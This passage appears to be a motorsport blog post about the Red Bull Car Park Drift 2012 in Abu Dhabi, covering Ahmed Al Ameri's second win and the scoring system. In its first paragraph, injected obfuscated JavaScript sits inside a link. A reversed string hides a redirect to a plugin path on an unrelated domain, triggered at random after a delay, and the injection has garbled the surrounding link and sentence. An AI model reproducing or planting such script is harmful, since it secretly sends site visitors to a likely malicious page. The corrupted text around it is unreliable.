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Protecting their reddened eyes and wiping their now dust-laden Red Bull cans was a small price to pay for the enthusiasts on hand to cheer the competitors. Among them was the crankandpiston team, and the fruits of our collective labour are $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/201219570/red-bull-car-park-drift-2012-abu-dhabi-the-video/” target=”_blank”>now on-site.
After some spectacular demonstrations at The Beach, Ahmed Al Ameri was eventually crowned Abu Dhabi’s King of Drift for a second consecutive year. As his rivals whittled away in the opening heats, Ameri remained steadfastly in the top five. One final error-free run and an enormous reaction from the crowd was enough to secure the UAE local the laurels.
Dust clouds aside, it was more than fierce competition that Ameri had to worry about on his way to victory. Last year’s scoring system remained, with 70% of the points total earned with the demonstration itself and the remaining 30% through noise, tyre smoke, vehicle appearance and crowd reaction.
